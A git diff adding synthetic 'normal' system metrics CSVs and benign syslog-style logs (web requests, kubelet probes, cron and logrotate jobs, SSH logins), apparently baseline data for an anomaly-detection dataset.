GET /api/v1/health status=200 OK +Jul 02 12:02:45 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:02:55 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:03:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:10 CRON[6543]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 02 12:03:15 systemd[1]: Starting Log Rotation... +Jul 02 12:03:30 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:03:30 systemd[1]: logrotate.service: Succeeded. +Jul 02 12:03:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:04:05 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:04:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:04:40 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:05:15 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:05:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:05:50 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:06:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:25 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:06:25 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:07:00 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:07:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod diff --git a/norm_dataset/scenario_2/norm_2_12.csv b/norm_dataset/scenario_2/norm_2_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..16cc528522f141b1d4b93f939f257ca658fcbbaf --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_12.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,20.116184127392398,42.838819164550294,33.24993951787919,0.0,1.4435510606289146 +2025-07-02T12:00:05Z,17.49886394705367,43.441353148985506,35.18190620490748,0.1656349676176636,2.2569434150615053 +2025-07-02T12:00:10Z,18.32908437885669,40.54807474280936,31.026114865256748,0.18129451625512571,0.503257599277486 +2025-07-02T12:00:15Z,16.476305677347266,41.076375159077166,22.72963150936866,1.0505083742892873,1.4173087200989745 +2025-07-02T12:00:20Z,11.185944381289879,44.56266223556591,24.60011724564657,0.0861919045103069,0.1799011300556811 +2025-07-02T12:00:25Z,19.19837657522923,42.62365079732188,33.66317414153493,0.5415783193867326,1.0563951799585727 +2025-07-02T12:00:30Z,12.744813335845862,43.799339604342464,19.341169257804044,1.0522246236131425,1.859598812755579 +2025-07-02T12:00:35Z,16.82408378412055,36.82107304921626,28.112784662065028,0.9711733881588724,0.5592232658785873 +2025-07-02T12:00:40Z,13.140032815265686,34.039789239604495,28.46709632162996,2.3300998886779403,1.7980145396733977 +2025-07-02T12:00:45Z,12.617707923275495,35.94376861745567,31.764839321090765,0.3721456911366745,1.8834630500966347 +2025-07-02T12:00:50Z,14.897972375850562,42.62106636423748,33.12506280017712,2.275736249045451,0.0 +2025-07-02T12:00:55Z,17.36382330673363,36.104882770369244,21.799758654062614,1.200991052035386,2.366830198188387 +2025-07-02T12:01:00Z,16.10288047108489,40.95428355880562,25.564586811467294,0.37255088126392955,0.24469851511506535 +2025-07-02T12:01:05Z,17.792969152231603,35.02486815222854,25.874215333502406,0.0,1.07007754500727 +2025-07-02T12:01:10Z,19.35255597782626,38.54508305401563,29.92867592751348,0.4462297175180992,0.4797977423058228 +2025-07-02T12:01:15Z,15.554847601490486,44.18078931362213,29.850016752105784,0.9546288914724633,1.261112878692209 +2025-07-02T12:01:20Z,12.081044150924,34.13314854616654,27.852986965349544,0.0,0.0 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/dev/null +++ b/norm_dataset/scenario_2/norm_2_12.log @@ -0,0 +1,34 @@ +Jul 02 12:00:15 web-app[1235]: GET /api/v1/user/12 status=200 OK +Jul 02 12:00:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:00:25 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:55 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:00 kubelet[1234]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:01:15 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:25 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:35 CRON[5433]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:02:10 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:02:25 web-app[1234]: GET /api/v1/products status=200 OK +Jul 02 12:02:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:40 kubelet[1235]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:02:45 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:55 web-app[1235]: GET /api/v1/products status=200 OK +Jul 02 12:03:45 systemd[1]: Starting Log Rotation... +Jul 02 12:03:47 CRON[6789]: (root) CMD (logrotate /etc/logrotate.conf) +Jul 02 12:03:50 logrotate[6789]: INFO: Compressing and rotating logs for /var/log/nginx/access.log +Jul 02 12:03:55 systemd[1]: logrotate.service: Succeeded. +Jul 02 12:04:25 web-app[1235]: GET /api/v1/products status=200 OK +Jul 02 12:04:30 kubelet[1234]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:04:35 web-app[1234]: GET /api/v1/products status=200 OK +Jul 02 12:05:00 kubelet[1235]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:05:05 CRON[5433]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:05:25 web-app[1235]: GET /api/v1/user/12 status=200 OK +Jul 02 12:05:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:50 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:55 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:06:20 web-app[1235]: GET /api/v1/user/12 status=200 OK +Jul 02 12:06:30 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:06:55 CRON[5433]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:07:05 CRON[5433]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:07:15 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:07:25 kubelet[1235]: INFO Liveness probe succeeded for pod web-app-pod diff --git a/norm_dataset/scenario_2/norm_2_13.csv b/norm_dataset/scenario_2/norm_2_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..194bf606957e92dfa6866f2f0e9e7beacbc42e1b --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_13.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,19.35,42.78,37.56,1.03,1.38 +2025-07-02T12:00:05Z,18.1,44.18,38.91,1.01,1.0 +2025-07-02T12:00:10Z,18.25,41.57,34.33,1.0,1.09 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Starting daily clean up activities... +Jul 02 12:02:20 web-app[1050]: GET /api/v1/user/14 status=200 OK +Jul 02 12:02:30 kubelet[2072]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:02:55 web-app[1050]: GET /api/v1/user/48 status=200 OK +Jul 02 12:03:30 web-app[1050]: GET /api/v1/user/48 status=200 OK +Jul 02 12:03:45 CRON[5964]: (root) CMD (run-parts /etc/cron.daily) +Jul 02 12:03:50 systemd[1]: Starting Log Rotation... +Jul 02 12:03:55 logrotate[7566]: compressing /var/log/web-app/access.log +Jul 02 12:04:05 systemd[1]: logrotate.service: Succeeded. +Jul 02 12:04:10 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:40 web-app[1050]: GET /api/v1/user/49 status=200 OK +Jul 02 12:05:00 kubelet[2072]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:05:15 web-app[1050]: GET /api/v1/user/25 status=200 OK +Jul 02 12:05:50 web-app[1050]: GET /api/v1/user/39 status=200 OK +Jul 02 12:06:15 kubelet[2072]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:06:25 web-app[1050]: GET /api/v1/user/48 status=200 OK +Jul 02 12:07:00 web-app[1050]: GET /api/v1/user/15 status=200 OK diff --git a/norm_dataset/scenario_2/norm_2_14.csv b/norm_dataset/scenario_2/norm_2_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..411c40f6dd4b212444f7c4753fd56cc78958921d --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_14.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T03:30:00Z,14.175681684055622,46.690790120140164,19.615219932968188,1.4027125505053961,1.0630994160174132 +2025-08-19T03:30:05Z,19.794940887862754,46.56818795800684,19.688742295078402,1.4110327457303935,0.8950368462613814 +2025-08-19T03:30:10Z,16.037090063780838,45.88279868911792,21.863376185932395,0.780384838094254,1.1487343842174336 +2025-08-19T03:30:15Z,11.352144747135847,44.86276069812517,17.308001972988713,1.5224689926374793,1.143520194724213 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+2025-08-19T03:37:00Z,12.396072940162345,43.5506818307038,22.400310540408938,1.2857090607808919,1.025646648583023 +2025-08-19T03:37:05Z,15.157074007872367,43.805198913262636,20.950593181898267,1.3870524227238419,0.8692109050746266 +2025-08-19T03:37:10Z,13.69003429665995,44.25238035948042,17.936503878237758,1.0632795931534142,0.937482222246404 +2025-08-19T03:37:15Z,16.391297576930796,44.67037862661671,17.995038133436378,1.305248296746317,1.1349454977385818 +2025-08-19T03:37:20Z,15.80804015802957,45.70462779888521,21.413481394055157,1.3361497494438148,1.0144796000191374 +2025-08-19T03:37:25Z,15.718748720326051,47.95594836176667,23.503617838056982,1.211844399574525,0.9058639759050188 diff --git a/norm_dataset/scenario_2/norm_2_14.log b/norm_dataset/scenario_2/norm_2_14.log new file mode 100644 index 0000000000000000000000000000000000000000..ed1fda3031da4642e958e88c58985906a9d57a63 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_14.log @@ -0,0 +1,23 @@ +Aug 19 03:30:00 sshd[3102]: Accepted publickey for user admin from 192.168.1.10 port 22 +Aug 19 03:30:55 sshd[3102]: Accepted publickey for user admin from 192.168.1.10 port 22 +Aug 19 03:31:35 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 19 03:31:45 systemd[1]: Starting daily clean up activities... +Aug 19 03:32:10 web-app[1452]: GET /api/v1/user/34 status=200 OK +Aug 19 03:32:15 systemd[1]: Starting daily clean up activities... +Aug 19 03:32:45 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 19 03:33:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 19 03:33:05 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 19 03:33:15 CRON[5981]: (root) CMD (run-parts /etc/cron.daily) +Aug 19 03:33:20 systemd[1]: Starting Log Rotation... +Aug 19 03:33:25 logrotate[5983]: rotating pattern: /var/log/nginx/*.log weekly (7 rotations) +Aug 19 03:33:30 logrotate[5983]: compressing /var/log/nginx/access.log.1 +Aug 19 03:33:40 web-app[1452]: GET /api/v1/user/34 status=200 OK +Aug 19 03:33:45 systemd[1]: logrotate.service: Succeeded. +Aug 19 03:34:00 web-app[1452]: GET /api/v1/user/34 status=200 OK +Aug 19 03:34:10 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 19 03:34:45 web-app[1452]: GET /api/v1/user/34 status=200 OK +Aug 19 03:34:55 web-app[1452]: GET /api/v1/products status=200 OK +Aug 19 03:35:00 systemd[1]: Starting daily clean up activities... +Aug 19 03:35:45 sshd[3102]: Accepted publickey for user admin from 192.168.1.10 port 22 +Aug 19 03:35:50 sshd[3102]: Accepted publickey for user admin from 192.168.1.10 port 22 +Aug 19 03:36:15 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment diff --git a/norm_dataset/scenario_2/norm_2_15.csv b/norm_dataset/scenario_2/norm_2_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..e9d5e2ed2d413acdf8b849722b605a501843b1ce --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_15.csv @@ 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@@ -0,0 +1,9 @@ +Jul 03 10:00:00 systemd[1]: Starting daily user cleanup activities... +Jul 03 10:00:00 web-app[1234]: GET /api/v1/status status=200 OK +Jul 03 10:01:42 web-app[1234]: GET /api/v1/status status=200 OK +Jul 03 10:03:25 web-app[1234]: GET /api/v1/status status=200 OK +Jul 03 10:03:30 systemd[1]: Finished Rotate log files. +Jul 03 10:03:30 systemd[1]: logrotate.service: Succeeded. +Jul 03 10:04:43 web-app[1234]: GET /api/v1/status status=200 OK +Jul 03 10:05:46 systemd[1]: Starting daily user cleanup activities... +Jul 03 10:06:27 web-app[1234]: GET /api/v1/status status=200 OK diff --git a/norm_dataset/scenario_2/norm_2_16.csv b/norm_dataset/scenario_2/norm_2_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..c034f62a41b902a0c4c6ab2e6e1cabc2d563a285 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_16.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,16.49,40.19,33.13,1.29,0.9 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/api/v1/health status=200 OK +Jul 02 12:01:10 web-app[1357]: GET /api/v1/health status=200 OK +Jul 02 12:01:15 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:40 sshd[8912]: Accepted publickey for user from 192.168.1.10 port 54321 ssh2: RSA SHA256:... +Jul 02 12:01:45 web-app[1357]: GET /api/v1/health status=200 OK +Jul 02 12:02:20 web-app[1357]: GET /api/v1/health status=200 OK +Jul 02 12:02:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:55 web-app[1357]: GET /api/v1/health status=200 OK +Jul 02 12:03:20 sshd[8912]: Accepted publickey for user from 192.168.1.10 port 54321 ssh2: RSA SHA256:... +Jul 02 12:03:30 CRON[9527]: (root) CMD (run-parts /etc/cron.daily) +Jul 02 12:03:30 systemd[1]: Starting Log Rotation... +Jul 02 12:03:38 systemd[1]: logrotate.service: Succeeded. +Jul 02 12:04:00 web-app[1357]: POST /api/v1/submit status=201 Created +Jul 02 12:04:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:04:30 web-app[1357]: POST /api/v1/submit status=201 Created +Jul 02 12:05:00 web-app[1357]: POST /api/v1/submit status=201 Created +Jul 02 12:05:25 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:05:30 web-app[1357]: POST /api/v1/submit status=201 Created +Jul 02 12:06:00 web-app[1357]: POST /api/v1/submit status=201 Created +Jul 02 12:06:30 web-app[1357]: POST /api/v1/submit status=201 Created +Jul 02 12:06:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:07:00 web-app[1357]: POST /api/v1/submit status=201 Created diff --git a/norm_dataset/scenario_2/norm_2_17.csv b/norm_dataset/scenario_2/norm_2_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..5eaacaead38836bb2bae557d69cb090206d0a2ea --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_17.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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+2025-08-21T19:56:40Z,17.64203274118487,41.82670181086983,37.654393965921685,1.2313983597369416,0.8826896436079351 +2025-08-21T19:56:45Z,13.723529397367038,35.61030643448255,39.79141447630447,1.3531876478786755,0.9468657148498735 +2025-08-21T19:56:50Z,14.958083031828533,42.32169807227672,27.320808476294673,1.1056959516593081,1.4457748366650724 +2025-08-21T19:56:55Z,12.177069357116048,35.04581481853783,26.761760021628596,0.963685375447202,1.327069382727657 +2025-08-21T19:57:00Z,11.45123195979158,42.33342919201594,35.80869023612156,1.091507848526946,0.5023845740301413 +2025-08-21T19:57:05Z,19.678471517656625,41.528395741262,38.622450774403404,1.0057674837823278,1.0915894185058739 +2025-08-21T19:57:10Z,19.454283305967245,36.473900244579205,38.63693895504602,1.1444231681462438,1.3271703619070245 +2025-08-21T19:57:15Z,19.792328993760812,42.89194005986472,39.87886781602808,1.0931072182078339,0.7727947554698945 +2025-08-21T19:57:20Z,19.003572870770576,39.711250732954674,21.12767956976023,1.045864658027313,1.0236142562682162 +2025-08-21T19:57:25Z,14.998827244526526,38.57432769698267,27.33953613342883,1.1068635384905328,1.0950900130124146 diff --git a/norm_dataset/scenario_2/norm_2_17.log b/norm_dataset/scenario_2/norm_2_17.log new file mode 100644 index 0000000000000000000000000000000000000000..e2af45301138f12a0165ac358d542835da73bbf1 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_17.log @@ -0,0 +1,46 @@ +Aug 21 19:50:00 CRON[4321]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 21 19:50:00 systemd[1]: Starting daily clean up activities... +Aug 21 19:50:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 21 19:50:15 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 21 19:50:30 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 21 19:50:35 CRON[4321]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 21 19:50:45 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 21 19:50:50 systemd[1]: Starting daily clean up activities... +Aug 21 19:51:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 21 19:51:10 CRON[4321]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 21 19:51:15 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 21 19:51:30 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 21 19:51:40 systemd[1]: Starting daily clean up activities... +Aug 21 19:51:45 CRON[4321]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 21 19:51:45 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 21 19:52:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 21 19:52:15 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 21 19:52:20 CRON[4321]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 21 19:52:30 systemd[1]: Starting daily clean up activities... +Aug 21 19:52:30 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 21 19:52:45 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 21 19:52:55 CRON[4321]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 21 19:53:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 21 19:53:15 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 21 19:53:20 systemd[1]: Starting daily clean up activities... +Aug 21 19:53:30 CRON[4321]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 21 19:53:30 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 21 19:53:45 systemd[1]: Starting Log Rotation... +Aug 21 19:53:46 logrotate[6789]: compressing /var/log/nginx/access.log +Aug 21 19:53:48 logrotate[6789]: rotating /var/log/nginx/error.log +Aug 21 19:53:50 systemd[1]: logrotate.service: Succeeded. +Aug 21 19:54:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 21 19:54:20 web-app[1234]: GET /api/v1/health status=200 OK +Aug 21 19:54:30 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 21 19:54:40 web-app[1234]: GET /api/v1/health status=200 OK +Aug 21 19:55:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 21 19:55:15 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 21 19:55:20 web-app[1234]: GET /api/v1/health status=200 OK +Aug 21 19:55:40 web-app[1234]: GET /api/v1/health status=200 OK +Aug 21 19:56:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 21 19:56:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 21 19:56:20 web-app[1234]: GET /api/v1/health status=200 OK +Aug 21 19:56:40 web-app[1234]: GET /api/v1/health status=200 OK +Aug 21 19:56:45 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 21 19:57:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 21 19:57:20 web-app[1234]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_2/norm_2_18.csv b/norm_dataset/scenario_2/norm_2_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..bc7d8fdcc9d118bc9c681b6f628f2f6b5f74d56c --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_18.csv @@ -0,0 +1,91 @@ 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+2025-07-02T12:06:35Z,16.54,43.6,31.85,1.48,1.03 +2025-07-02T12:06:40Z,15.37,46.6,29.59,1.18,1.29 +2025-07-02T12:06:45Z,14.92,45.75,33.42,1.25,0.89 +2025-07-02T12:06:50Z,17.4,47.25,32.09,1.46,0.82 +2025-07-02T12:06:55Z,16.34,42.07,24.1,1.12,1.18 +2025-07-02T12:07:00Z,15.78,45.28,31.45,1.03,1.21 +2025-07-02T12:07:05Z,18.86,43.62,34.42,1.25,1.06 +2025-07-02T12:07:10Z,12.56,44.63,25.45,1.2,0.97 +2025-07-02T12:07:15Z,17.38,46.8,28.43,1.37,0.87 +2025-07-02T12:07:20Z,16.13,44.23,40.27,1.12,1.13 +2025-07-02T12:07:25Z,12.18,44.65,26.75,1.3,0.81 diff --git a/norm_dataset/scenario_2/norm_2_18.log b/norm_dataset/scenario_2/norm_2_18.log new file mode 100644 index 0000000000000000000000000000000000000000..5138007ee09aa7d8465d97f40194c6a52e2690d7 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_18.log @@ -0,0 +1,30 @@ +Jul 02 12:00:30 web-app[1478]: GET /api/v1/user/229 status=200 OK +Jul 02 12:01:13 kubelet[2548]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:01:18 web-app[1755]: POST /api/v1/login status=200 OK +Jul 02 12:01:47 web-app[1755]: POST /api/v1/login status=200 OK +Jul 02 12:01:53 web-app[1755]: POST /api/v1/login status=200 OK +Jul 02 12:02:20 web-app[1478]: GET /api/v1/user/421 status=200 OK +Jul 02 12:02:31 kubelet[2548]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:02:52 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:04 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:17 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:24 web-app[1478]: GET /api/v1/user/34 status=200 OK +Jul 02 12:03:30 CRON[5087]: (root) CMD (logrotate /etc/logrotate.conf) +Jul 02 12:03:31 systemd[1]: Starting Log Rotation... +Jul 02 12:03:32 logrotate[5088]: Rotating pattern: /var/log/web-app/*.log weekly (4 rotations) +Jul 02 12:03:37 logrotate[5088]: compressing /var/log/web-app/access.log-20250702 +Jul 02 12:03:42 systemd[1]: logrotate.service: Succeeded. +Jul 02 12:03:53 web-app[1478]: GET /api/v1/user/420 status=200 OK +Jul 02 12:04:02 kubelet[2548]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:04:07 web-app[1478]: GET /api/v1/user/39 status=200 OK +Jul 02 12:04:14 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:22 kubelet[2548]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:04:29 web-app[1478]: GET /api/v1/user/259 status=200 OK +Jul 02 12:04:45 kubelet[2548]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:05:12 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:20 kubelet[2548]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:05:43 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:59 web-app[1755]: POST /api/v1/login status=200 OK +Jul 02 12:06:04 web-app[1478]: GET /api/v1/user/192 status=200 OK +Jul 02 12:06:28 systemd[1]: Starting daily clean up activities... +Jul 02 12:07:00 kubelet[2548]: INFO Liveness probe succeeded for pod nginx-deployment diff --git a/norm_dataset/scenario_2/norm_2_19.csv b/norm_dataset/scenario_2/norm_2_19.csv new file mode 100644 index 0000000000000000000000000000000000000000..4ad511a1a55ce84f5c940ca415a1a2937b3a73c1 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_19.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-21T19:50:00Z,13.938665222097105,44.52417668934813,22.890854601053118,0.8767273493935096,1.0486872842115305 +2025-08-21T19:50:05Z,11.135722421460349,41.681093213914224,22.50433870644375,0.9927085430174816,0.9374707879873976 +2025-08-21T19:50:10Z,10.273302672340105,41.19644913286609,29.860519396387534,0.941561355894453,1.0582375103853727 +2025-08-21T19:50:15Z,11.610689378796677,40.32413774958026,27.69346184531096,1.0192913803630457,0.939979882468704 +2025-08-21T19:50:20Z,12.225629248703509,42.489674438240826,24.525602372372482,0.9155554266406071,0.8404894507092567 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+2025-08-21T19:57:05Z,14.514304118606045,42.622711005839314,22.55772361904321,0.8264517385122877,1.0838378428001625 +2025-08-21T19:57:10Z,12.13178549709233,40.27464938524258,21.108066751436173,1.0687173269535353,1.0272260323028837 +2025-08-21T19:57:15Z,10.580253985236679,43.54054119824015,20.1743520499006,1.1920518350909237,0.8271636006615419 +2025-08-21T19:57:20Z,12.970158702625433,43.41641341174886,22.888758267259362,0.9471071765865742,0.8647208895133973 +2025-08-21T19:57:25Z,13.8827953708151,43.48438226372508,24.617574557374347,0.9991705591719972,1.0818132135280971 diff --git a/norm_dataset/scenario_2/norm_2_19.log b/norm_dataset/scenario_2/norm_2_19.log new file mode 100644 index 0000000000000000000000000000000000000000..dfbd8e7f17a1731056e2db33fe9e19676f10add0 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_19.log @@ -0,0 +1,26 @@ +Aug 21 19:50:00 systemd[1]: Starting daily clean up activities... +Aug 21 19:50:00 web-app[8798]: GET /api/v1/user/19 status=200 OK +Aug 21 19:50:00 CRON[3771]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 21 19:50:35 web-app[8402]: GET /api/v1/user/25 status=200 OK +Aug 21 19:51:10 web-app[8417]: GET /api/v1/user/26 status=200 OK +Aug 21 19:51:15 systemd[1]: Starting daily clean up activities... +Aug 21 19:51:45 web-app[8640]: GET /api/v1/user/78 status=200 OK +Aug 21 19:52:05 CRON[3527]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 21 19:52:20 web-app[8923]: GET /api/v1/user/90 status=200 OK +Aug 21 19:52:30 systemd[1]: Starting daily clean up activities... +Aug 21 19:52:55 web-app[8002]: GET /api/v1/user/24 status=200 OK +Aug 21 19:53:30 web-app[8015]: GET /api/v1/user/59 status=200 OK +Aug 21 19:53:45 systemd[1]: Starting daily clean up activities... +Aug 21 19:54:05 web-app[8655]: GET /api/v1/user/37 status=200 OK +Aug 21 19:54:10 CRON[3517]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 21 19:54:40 web-app[8088]: GET /api/v1/user/84 status=200 OK +Aug 21 19:55:00 CRON[5123]: (root) CMD (test -x /usr/sbin/logrotate && /usr/sbin/logrotate /etc/logrotate.conf) +Aug 21 19:55:01 systemd[1]: Starting Log Rotation... +Aug 21 19:55:08 logrotate[5124]: compressing /var/log/web-app/access.log +Aug 21 19:55:12 systemd[1]: Reloading NGINX... +Aug 21 19:55:15 systemd[1]: logrotate.service: Succeeded. +Aug 21 19:55:20 web-app[8318]: GET /api/v1/user/26 status=200 OK +Aug 21 19:56:00 web-app[8564]: GET /api/v1/user/89 status=200 OK +Aug 21 19:56:00 kubelet[2129]: INFO Liveness probe succeeded for pod web-app-pod +Aug 21 19:56:40 web-app[8698]: GET /api/v1/user/94 status=200 OK +Aug 21 19:57:20 web-app[8120]: GET /api/v1/user/3 status=200 OK diff --git a/norm_dataset/scenario_2/norm_2_2.csv b/norm_dataset/scenario_2/norm_2_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..8d2fd227c43778c6850402e886c5eea28d183fae --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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+2025-08-18T10:06:40Z,15.885534465585625,43.39441475046253,24.87316565455994,0.5124541459050753,1.338854172178593 +2025-08-18T10:06:45Z,12.803619871979357,36.07309281005453,38.67932228814011,1.3732287411763018,1.3217971658857466 +2025-08-18T10:06:50Z,15.964998005821172,37.69729185681801,38.67169261903237,1.0947966744760413,1.1692635381685483 +2025-08-18T10:06:55Z,15.887568230685575,41.46411366476579,25.448490445234594,0.7544623355001466,0.6609654084513158 +2025-08-18T10:07:00Z,12.623473017229143,39.281575941624816,35.160885375608146,1.1397172268953322,0.803866948583233 +2025-08-18T10:07:05Z,12.14714856220374,39.53031621148845,22.099513432897492,1.0419972064611849,0.8737501316349113 +2025-08-18T10:07:10Z,12.37955907098405,36.613171751751146,37.17913251774577,0.6555078151984518,0.9706248430721222 +2025-08-18T10:07:15Z,18.584465638402108,39.79753273816493,23.750365692040884,0.6740092152348517,0.8962352546955545 +2025-08-18T10:07:20Z,13.877941096886895,44.71723615113631,34.037167180896276,1.064741656689843,0.8945485747610875 +2025-08-18T10:07:25Z,16.32175110942401,38.502640904383476,34.37279660660377,0.8185833653199681,0.5935674780316063 diff --git a/norm_dataset/scenario_2/norm_2_2.log b/norm_dataset/scenario_2/norm_2_2.log new file mode 100644 index 0000000000000000000000000000000000000000..b970096ce641f4c7ff11a3fd6d51f1a14deb8eff --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_2.log @@ -0,0 +1,52 @@ +Aug 18 10:00:00 CRON[5450]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 18 10:00:25 kubelet[2345]: INFO 